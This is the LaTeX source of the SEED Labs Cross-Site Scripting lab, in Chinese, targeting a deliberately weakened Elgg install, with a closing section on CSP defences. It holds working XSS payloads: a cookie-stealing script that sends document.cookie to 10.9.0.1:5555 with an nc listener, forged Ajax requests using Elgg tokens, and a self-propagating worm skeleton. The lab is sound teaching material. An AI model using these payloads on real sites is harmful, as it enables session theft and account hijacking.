```tex
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}
\newcommand{\webcommon}{../Web_Common}

\input{\commonfolder/header}
\input{\commonfolder/copyright}

\lhead{\bfseries SEED Labs -- Cross-Site Scripting Attack Lab}

\begin{document}

\begin{center}
{\LARGE Cross-Site Scripting (XSS) Attack Lab}
\vspace{0.1in}\\
{\Large (Web Application: Elgg)}
\end{center}

\seedlabcopyright{2006 - 2020}

\section{概述}

跨站脚本（XSS）是一种常见的 web 应用程序漏洞。这种漏洞使攻击者能够在受害者的浏览器中注入恶意代码（例如 JavaScript 程序）。通过利用这些恶意代码，攻击者可以窃取受害者的凭证，如会话 cookies。为了保护这些凭证，浏览器采用的同源策略（即同源策略）可能会被 XSS 漏洞所绕过。

为演示攻击者如何利用 XSS 漏洞，我们在预构建的 Ubuntu 虚拟机镜像中设置了一个名为 {\tt Elgg} 的 web 应用程序。{\tt Elgg} 是一个非常流行的开源社交网络应用程序，并且已实现了一些应对 XSS 威胁的对策。为了展示 XSS 攻击的工作原理，我们取消了安装中的这些对策，在 {\tt Elgg} 中故意使其易受 XSS 攻击。在没有对策的情况下，用户可以发布任何任意消息，包括 JavaScript 程序。

在这个实验中，学生需要利用这一漏洞在修改后的 {\tt Elgg} 上发起一个 XSS 攻击，类似于 2005 年 Samy Kamkar 通过著名的 Samy 恶意软件对 {\tt MySpace} 发起的攻击。此次攻击的目标是在用户之间传播 XSS 恶意软件，使得任何查看被感染用户资料的人都会被感染，并且一旦被感染的人会将你（即攻击者）添加为好友。本实验涵盖以下主题：

\begin{itemize}[noitemsep]
 \item 跨站脚本攻击
 \item XSS 恶意软件和自我传播 
 \item 会话 cookies
 \item HTTP GET 和 POST 请求
 \item JavaScript 和 Ajax
 \item 内容安全策略 (CSP) 
\end{itemize}

\paragraph{参考资料。}
关于跨站脚本攻击的详细内容，可以在《SEED Book》（第十章）中找到。

\paragraph{实验环境。} \seedenvironmentB  \nodependency

% *******************************************
% SECTION
% ******************************************* 
\section{实验环境设置}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{DNS 设置}

我们为这个实验设置了多个网站，它们托管在容器 {\tt 10.9.0.5} 中。我们需要将这些 web 服务器的名称映射到这个 IP 地址。请向 {\tt /etc/hosts} 文件中添加以下条目。您需要以 root 权限修改此文件：

\begin{lstlisting}
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com
\end{lstlisting}

 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{容器设置和命令}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/setup}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{Elgg Web 应用程序}

我们在这个实验中使用了一个名为 {\tt Elgg} 的开源 web 应用程序。{\tt Elgg} 是一个基于网络的社交网络应用程序。
它已经在提供的容器镜像中设置好了；其 URL 为 \url{http://www.seed-server.com}。
我们使用两个容器，一个运行 web 服务器（\texttt{10.9.0.5}） ，另一个运行 MySQL 数据库 (\texttt{10.9.0.6})。这些容器的 IP 地址在配置中是硬编码的，请不要从 \texttt{docker-compose.yml} 文件中更改它们。

% MySQL 数据库
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/mysql}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\webcommon/elgg_accounts}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


% *******************************************
% SECTION
% ******************************************* 
\section{实验任务}

当您从本 PDF 文档复制代码时，经常会出现引号（特别是单引号）被替换为类似符号的情况。这会导致代码出错，请注意这一点。如果出现这种情况，请删除它们，并手动输入这些符号。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{准备：熟悉 "HTTP Header Live" 工具}

在这个实验中，我们需要构造 HTTP 请求。为了弄清楚 Elgg 中有效的 HTTP 请求是什么样子的，我们有必要能够捕获并分析 HTTP 请求。我们可以使用 Firefox 的扩展插件 \texttt{"HTTP Header Live"} 来实现此目的。在开始这个实验之前，请熟悉此工具。
关于如何使用此工具的说明见指南部分~\S~\ref{web:sec:httpheaderlive}。



% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 1：发布恶意消息以显示警告窗口}

本任务的目标是将 JavaScript 程序嵌入到您的 {\tt Elgg} 资料页面中，当其他用户查看您的资料时，JavaScript 程序将被执行并弹出一个警告窗口。以下的 JavaScript 程序会弹出一个警告窗口：
\begin{lstlisting}
<script>alert('XSS');</script> 
\end{lstlisting}
如果您在个人简介（例如简短描述字段）中嵌入上述 JavaScript 代码，则任何查看您的资料的人都会看到警告窗口。

在这种情况下，JavaScript 代码足够简短可以手动输入到简短描述字段。如果要运行一个较长的 JavaScript 程序但字符限制使您无法直接在此处输入代码时，您可以将 JavaScript 程序存储在一个单独的文件中，保存扩展名为 .js 的文件，并使用 {\tt src} 属性在 {\tt <script>} 标签内引用它。请参见以下示例：
\begin{lstlisting}
<script type="text/javascript" 
        src="http://www.example.com/myscripts.js">
</script>
\end{lstlisting}
在此示例中，页面将从 \url{http://www.example.com} 获取 JavaScript 程序，这可以是任何 web 服务器。

 

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 2：发布恶意消息以显示 cookies}

本任务的目标是将一个 JavaScript 程序嵌入到您的 {\tt Elgg} 资料页面中，当其他用户查看您的资料时，在警告窗口中显示用户的 cookies。
这可以通过在前面的任务中的 JavaScript 程序中添加一些附加代码来实现：
\begin{lstlisting}
<script>alert(document.cookie);</script> 
\end{lstlisting}

 

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 3：从受害者的机器窃取 cookies}

在前面的任务中，攻击者编写的恶意 JavaScript 程序可以打印出用户的 cookies，但只有用户可以看到这些 cookies，而攻击者看不到。在这个任务中，攻击者希望 JavaScript 程序将 cookies 发送到自己那里。
为此，需要让恶意的 JavaScript 程序向攻击者的机器发送一个 HTTP 请求，并在请求中附加 cookies。

我们可以通过在页面中插入一个 {\tt $<$img$>$} 标签来实现这一点，其 {\tt src} 属性设置为攻击者机器的 URL。当 JavaScript 插入该 {\tt img} 标签时，浏览器会尝试从 {\tt src} 字段中的 URL 加载图像；这会导致发送一个 HTTP GET 请求到攻击者的机器（IP 地址为 {\tt 10.9.0.1}） ，在该地址上运行的攻击者有一个监听相同端口 (5555) 的 TCP 服务器。

\begin{lstlisting}
<script>document.write('<img src=http://10.9.0.1:5555?c=' 
                       + escape(document.cookie) + '   >'); 
</script> 
\end{lstlisting}

一个常用的攻击程序是 \texttt{netcat}（或 \texttt{nc}） ，运行时若带有 \texttt{"-l"} 选项，则它会成为一个 TCP 服务器，侦听指定端口上的连接。此服务器程序基本上打印出客户端发送的所有内容并将用户输入的内容转发给客户端。
请在端口 \texttt{5555} 上执行以下命令以监听：

\begin{lstlisting}
$ nc -lknv 5555 
\end{lstlisting}

\noindent 其中，\texttt{-l} 选项用于指定 \texttt{nc} 应该侦听传入的连接而不是发起到远程主机的连接。\texttt{-nv} 选项用于使 \texttt{nc} 输出更详细的信息。\texttt{-k} 选项意味着在完成一个连接后继续侦听下一个连接。

 

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 4：成为受害者的友人}

在这项任务和接下来的任务中，我们将执行一种类似于 2005 年 Samy 对 MySpace 的攻击（即 Samy 恶意软件） 。我们将会编写一个 XSS 恶意软件，在任何其他用户访问 Samy 页面时将其添加为好友。这种恶意软件不具备自我传播能力；在任务 6 中，我们将使其具备自我传播能力。

在这个任务中，我们需要编写一段恶意的 JavaScript 程序以直接从受害者的浏览器发起 HTTP 请求，而无需攻击者干预。此次攻击的目标是将 Samy 添加为受害者的友人。
我们已经在 {\tt Elgg} 服务器上创建了一个名为 Samy 的用户（用户名为 {\tt samy}）。

为了给受害者添加一个朋友，首先需要了解合法的用户如何在 {\tt Elgg} 中添加朋友。更具体地来说，我们需要确定当用户添加朋友时发送的内容是什么。
Firefox 的 \texttt{HTTP} 检测工具可以帮助我们获得这些信息。它可以在浏览器发出的任何 HTTP 请求消息中显示内容。从内容中我们可以识别出请求中的所有参数。
参见第~\ref{xss:sec:guidelines} 节以了解如何使用该工具。

一旦理解了添加朋友的 HTTP 请求是什么样的，就可以编写一个 JavaScript 程序来发送相同的 HTTP 请求。我们提供了一段 JavaScript 代码作为辅助完成此任务的骨架代码。

\begin{lstlisting}
<script type="text/javascript">
window.onload = function () {
  var Ajax=null;

  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;          (*@ \ding{192} @*)
  var token="&__elgg_token="+elgg.security.token.__elgg_token; (*@ \ding{193} @*)

  //构造添加 Samy 为朋友的 HTTP 请求。
  var sendurl=...;  //FILL IN

  //创建并发送 Ajax 请求以添加朋友
  Ajax=new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.send();
} 
</script>
\end{lstlisting}

上述代码应放置在 Samy 资料页面的 "关于我" 字段中。该字段提供了两种编辑模式：编辑模式（默认）和文本模式。编辑模式会在字段内输入的文本中添加额外的 HTML 代码，而文本模式不会。因为我们不希望向攻击代码中添加任何额外的代码，所以应在进入上述 JavaScript 代码之前启用文本模式。这可以通过点击该文本字段右上角的 "Edit HTML" 来实现。

\paragraph{问题。}请回答以下问题：

\begin{itemize}
\item \textbf{问题 1：}解释第 \ding{192} 和 \ding{193} 行的目的，为什么需要它们？

\item \textbf{问题 2：}如果 {\tt Elgg} 应用程序仅提供 "关于我" 字段的编辑模式为 "文本模式"（即您不能切换到 "编辑模式"），您是否仍然可以成功发起攻击？
\end{itemize}

 

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 5：修改受害者的资料}

本任务的目标是当受害者访问 Samy 的页面时修改其资料。具体来说，要修改受害者的 "关于我" 字段。我们将编写一个 XSS 恶意软件来完成此任务。这种恶意软件不具备自我传播能力；在任务 6 中，我们将使其具备自我传播能力。

类似于上一任务，我们需编写一段恶意的 JavaScript 程序以直接从受害者浏览器发起 HTTP 请求，而无需攻击者干预。
要修改资料，首先需要了解合法用户如何在 {\tt Elgg} 中编辑或修改其个人资料。更具体地来说，我们需要弄清楚构造修改用户个人资料的 HTTP POST 请求的方式。我们将使用 Firefox 的 "HTTP" 检测工具。一旦理解了修改个人资料的 HTTP POST 请求是什么样的，就可以编写一个 JavaScript 程序来发送相同的请求。我们提供了一段辅助完成此任务的框架代码。

\begin{lstlisting}
<script type="text/javascript">
window.onload = function(){
  //JavaScript 代码以访问用户名称、用户 guid, 时间戳 __elgg_ts 及安全令牌 __elgg_token
  var userName="&name="+elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;

  //构造您的 url 的内容。
  var content=...;     //FILL IN

  var samyGuid=...;    //FILL IN
  
  var sendurl=...;     //FILL IN
  
  if(elgg.session.user.guid!=samyGuid)           (*@ \ding{192} @*)
  {
     //创建并发送 Ajax 请求以修改个人资料
     var Ajax=null;
     Ajax=new XMLHttpRequest();
     Ajax.open("POST", sendurl, true);
     Ajax.setRequestHeader("Content-Type",
                           "application/x-www-form-urlencoded");
     Ajax.send(content);
  }
}
</script>
\end{lstlisting}

与任务 4 相同，上述代码应放置在 Samy 资料页面的 "关于我" 字段中，并在输入上述 JavaScript 代码之前确保文本模式已启用。

\paragraph{问题。}请回答以下问题：

\begin{itemize}
\item \textbf{问题 3：}为什么需要第 \ding{192} 行？删除此行，重复您的攻击并报告和解释观察结果。
\end{itemize}

 

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 6：编写自我传播的 XSS 恶意软件}

为了成为真正的恶意软件，恶意 JavaScript 程序应能够自我复制。也就是说，当一些人查看感染了恶意软件的个人资料时，不仅会修改这些个人资料，还会将该恶意软件传播到这些个人资料中，从而进一步影响观看这些新受感染个人资料的人们。
这样一来，观看被感染个人资料的人越多，该恶意软件的传播速度就越快。这正是 Samy 恶意软件所采用的工作机制：在 2005 年 10 月 4 日发布后的 20 小时内就影响了超过一百万用户。
能够实现这种自我复制功能的 JavaScript 程序被称为 {\em 自我传播跨站脚本恶意软件}。在这个任务中，您需要
实现这样一个恶意软件，它不仅修改受害者的个人资料并将用户 "Samy" 添加为好友，还会将自己的一份副本添加到受害者的个人资料中，使受害者也变成了攻击者。

为了实现自我传播，在修改受害者个人资料时，恶意 JavaScript 程序应将其自身复制到受害者的个人资料。有几种方法可以实现这一点，我们将讨论两种常见的方法。

\paragraph{链接方式：} 如果恶意软件包括在 {\tt <script>} 标签的 {\tt src} 属性中，则编写自我传播的恶意软件将非常容易。
我们在任务 1 中讨论了 {\tt src} 属性，并给出一个示例。恶意软件可以简单地复制以下 {\tt <script>} 标签到受害者的个人资料，从而以相同的恶意软件感染该个人资料。

\begin{lstlisting}
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
\end{lstlisting} 

\paragraph{DOM 方式：} 如果整个 JavaScript 程序（即病毒）被嵌入在受感染的个人资料中，
为了将恶意软件传播到另一份个人资料，恶意程序代码可以使用 DOM API 从网页中检索自己的一份副本，并将其显示在一个警告窗口中：
{\footnotesize
\begin{lstlisting}
<script id="worm">
   var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; (*@ \ding{192} @*)
   var jsCode = document.getElementById("worm").innerHTML;          (*@ \ding{193} @*)
   var tailTag = "</" + "script>";                                  (*@ \ding{194} @*)
   
   var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); (*@ \ding{195} @*)
      
   alert(jsCode);
</script>
\end{lstlisting}
}

应注意，{\tt innerHTML}（第 \ding{193} 行）仅返回代码的内部部分，并不包括包围的 {\tt script} 标签。我们只需要添加开始标签 {\tt <script id="worm">}（第 \ding{192} 行）和结束标签 {\tt </script>}（第 \ding{194} 行），以形成恶意代码的完整副本。

当使用 {\tt application/x-www-form-urlencoded} 的 {\tt Content-Type} 发送 HTTP POST 请求中的数据时，数据也应进行编码。该编码方案称为 URL 编码，它会将数据中非字母数字字符替换为一个百分号和两个表示 ASCII 码的十六进制数（\textit{HH}） 。我们使用的 {\tt encodeURICom\\ponent()} 函数在第 \ding{195} 行用于对字符串进行 URL 编码。

\paragraph{注意：} 在此实验中，您可以尝试使用链接和 DOM 两种方式，但要求您采用 DOM 方式。因为这种方式更具挑战性且不依赖于外部的 JavaScript 代码。

 

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{Elgg 的对策}

本小节仅用于信息参考，并没有特定的任务需要完成。它展示了 Elgg 如何防御 XSS 攻击。Elgg 确实具备内置的对策，我们已经禁用了这些对策以使攻击生效。实际上，Elgg 使用两种对策。
一种是自定义的安全插件 {\tt HTMLawed} ，它可以验证用户输入并从输入中去除标签。
我们在 \texttt{input.php} 中注释掉了插件调用的代码
该文件位于 \path{vendor/elgg/elgg/engine/lib/} 之内。请参见以下内容：

\begin{lstlisting}
function filter_tags($var) {
   // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
   return $var;
}
\end{lstlisting}

 

除了 {\tt HTMLawed} 外，Elgg 还使用 PHP 的内置方法 \texttt{htmlspecialchars()} 以对用户输入中的特殊字符进行编码，例如将 {\tt "<"} 编码为 {\tt "\&lt"}, 将 {\tt ">"} 编码为 {\tt "\&gt"} 等。
该方法在 \path{vendor/elgg/elgg/views/default/output/} 文件夹内的 \texttt{dropdown.php}, \texttt{text.php}, \texttt{url.php} 中调用。我们已经注释掉了这些代码以关闭对策。

% *******************************************
% SECTION
% *******************************************
\section{使用 CSP 防御 XSS 攻击}

XSS 漏洞的根本问题是 HTML 允许 JavaScript 代码和数据混在一起。因此，要解决这一根本问题，我们需要将代码与数据分开。有两种方法可以在一个 HTML 页面内包含 JavaScript 代码：一种是内联方式（直接在页面中放置代码），另一种是链接方式（将代码放在外部文件中，在页面内部引用它）。

内联方式是导致 XSS 漏洞的罪魁祸首，因为浏览器不知道代码原本来自哪里：它是来自可信的 web 服务器还是不受信任的用户？没有这些知识的情况下，浏览器无法知道哪些代码可以安全执行，哪些是有危险的。
链接方式向浏览器提供了一个非常重要的信息，即代码的来源。网站可以告诉浏览器哪个源是可信赖的，从而让浏览器知道哪些代码可以安全执行。尽管攻击者也可以使用链接方式将代码包含在他们的输入中，但他们无法将其放置在这些可信的地方。

网站如何告诉浏览器哪些代码源是可信赖的是通过一种称为内容安全策略 (CSP) 的安全机制实现的。这种机制专门设计用于击败 XSS 和点击劫持攻击。
它已经成为一个标准，在当今大多数浏览器中都得到了支持。CSP 不仅限制了 JavaScript 代码，还限制其他页面内容，例如限制图片、音频和视频来自何处，以及限制页面是否可以放在 iframe 中（用于防止点击劫持攻击） 。在这里我们将只关注如何使用 CSP 防御 XSS 攻击。

 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{实验网站设置} 

为了在 CSP 上进行实验，我们将设置几个网站。 
在 \texttt{Labsetup/image\_www} docker 容器文件夹中，有一个名为 \texttt{apache\_csp.conf} 的文件。
它定义了五个网站，它们共享同一个文件夹，但会使用该文件夹中的不同文件。 用于托管 JavaScript 代码的是 \texttt{example60} 和 \texttt{example70} 站点。 
\texttt{example32a}, \texttt{example32b}, 和
\texttt{example32c} 是三个具有不同 CSP 配置的网站。关于这些配置细节稍后会解释。

\paragraph{更改配置文件。}
在实验过程中，您需要修改这个 Apache 配置文件（\texttt{apache\_csp.conf}）。如果您直接对图像文件夹内的文件进行修改，则需要重建镜像并重新启动容器以使更改生效。
您还可以使用 \texttt{"docker cp"} 命令将该文件复制到运行中的容器中，反之亦然。

你也可以在运行的容器内修改这个文件。此选项的缺点是，为了保持 Docker 镜像小巧，
我们只在容器内安装了一个非常简单的文本编辑器（\texttt{nano}） 。这应该足够满足简单的编辑需求。
如果您不喜欢它，您可以在 \texttt{Dockerfile} 中添加一个安装命令来安装自己喜欢的命令行文本编辑器。 
在运行容器中，您可以找到配置文件 \texttt{apache\_csp.conf} 位于
\path{/etc/apache2/sites-available/} 文件夹内。
更改后，您需要重启 Apache 服务器以使更改生效：

\begin{lstlisting}
# service apache2 restart
\end{lstlisting}

 

\paragraph{DNS 设置。}
我们将从我们的虚拟机访问以上网站。
为了通过各自的 URL 访问它们，我们需要向 \texttt{/etc/hosts} 文件中添加以下条目（如果您尚未在实验开始时完成此操作），以便将这些主机名映射到服务器容器的 IP 地址 (\texttt{10.9.0.5})。您需要使用 root 权限来更改此文件（使用 \texttt{sudo}）。

\begin{lstlisting}
10.9.0.5       www.example32a.com
10.9.0.5       www.example32b.com
10.9.0.5       www.example32c.com
10.9.0.5       www.example60.com
10.9.0.5       www.example70.com
\end{lstlisting}

 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{实验用的网页}
 
\texttt{example32(a|b|c)} 服务器托管相同的 web 页面 \texttt{index.html}，用于演示 CSP 策略是如何工作的。此页面内有六个区域，从 \texttt{area1} 到 \texttt{area6}。
初始状态下，每个区域显示 "Failed"。该页面还包括六段 JavaScript 代码，每一段尝试将其对应的区域写为 "OK"。如果我们可以在某个区域内看到 "OK"，则表示与该区域相关的 JavaScript 代码已经成功执行；否则我们会看到 "Failed"。此页面上还有一个按钮。
点击它会弹出一个消息（如果底层的 JavaScript 代码被触发）。

\begin{lstlisting}[caption={实验网页 \texttt{index.html}}]
<html>
<h2>CSP 实验</h2>
<p>1. 内联：nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. 内联：nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. 内联：无 nonce: <span id='area3'>Failed</span></p>
<p>4. 从 self: <span id='area4'>Failed</span></p>
<p>5. 从 www.example60.com: <span id='area5'>Failed</span></p>
<p>6. 从 www.example70.com: <span id='area6'>Failed</span></p>
<p>7. 从按钮点击： 
      <button onclick="alert('JS Code executed!')">Click me</button></p>

<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>

<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>

<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>

<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>
</html>
\end{lstlisting}

 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{设置 CSP 策略}  

CSP 由 web 服务器作为 HTTP 头进行设置。有两种典型的设置方式，一种是通过 web 服务器（如 Apache）设置 HTTP 头，另一种是通过 web 应用程序设置 HTTP 头。
在这个实验中，我们将使用这两种方法进行试验。

\paragraph{Apache 设置 CSP 策略。}
Apache 可以为所有响应设置 HTTP 头，因此我们可以使用 Apache 来设置 CSP 策略。在我们的配置中，
我们设置了三个网站，但只有第二个网站设置了 CSP 策略（带有 \ding{110} 标记的行）。 
在这种设置下，当我们访问 \texttt{example32b} 时，Apache 将向此站点的所有响应添加指定的 CSP 头。

\begin{lstlisting}
# Purpose: Do not set CSP policies
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \          (*@\ding{110}@*)
             default-src 'self'; \                  (*@\ding{110}@*)
             script-src 'self' *.example70.com \    (*@\ding{110}@*)
           "
</VirtualHost>

# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>                                  (*@\ding{108}@*)
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>
\end{lstlisting}

 

\paragraph{web 应用程序设置 CSP 策略。}
在我们配置文件中的第三个 \texttt{VirtualHost} 条目（标记为 \ding{108}）中，我们没有设置任何 CSP 政策。
但是，代替访问 \texttt{index.html}，此站点的入口点是 \texttt{phpindex.php}，这是一个 PHP 程序。这个程序添加了一个将返回自动生成响应的 CSP 头。

\begin{lstlisting}
<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' *.example70.com".
               "";
  header($cspheader);
?>

<?php include 'index.html';?>
\end{lstlisting}

 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{实验任务} 

请在启动容器并修改 \texttt{/etc/hosts} 后，从您的虚拟机访问以下 URL。

\begin{lstlisting}
http://www.example32a.com
http://www.example32b.com
http://www.example32c.com
\end{lstlisting}

请完成以下任务：

1. 描述并解释您在这些网站上观察到的情况。
   
2. 点击来自所有三个网站的网页上的按钮，描述并解释您的观察结果。

3. 修改 \texttt{example32b} 服务器的配置（修改 Apache 配置），使得区域 5 和 6 显示 OK。请在实验报告中包含您修改后的配置。

4. 修改 \texttt{example32c} 服务器的配置（修改 PHP 程序），使得区域 1、2、4、5 和 6 均显示 "OK"。
请在实验报告中包含您修改后的配置。

5. 请解释为什么 CSP 可以帮助防止跨站脚本攻击。 

\end{lstlisting}
```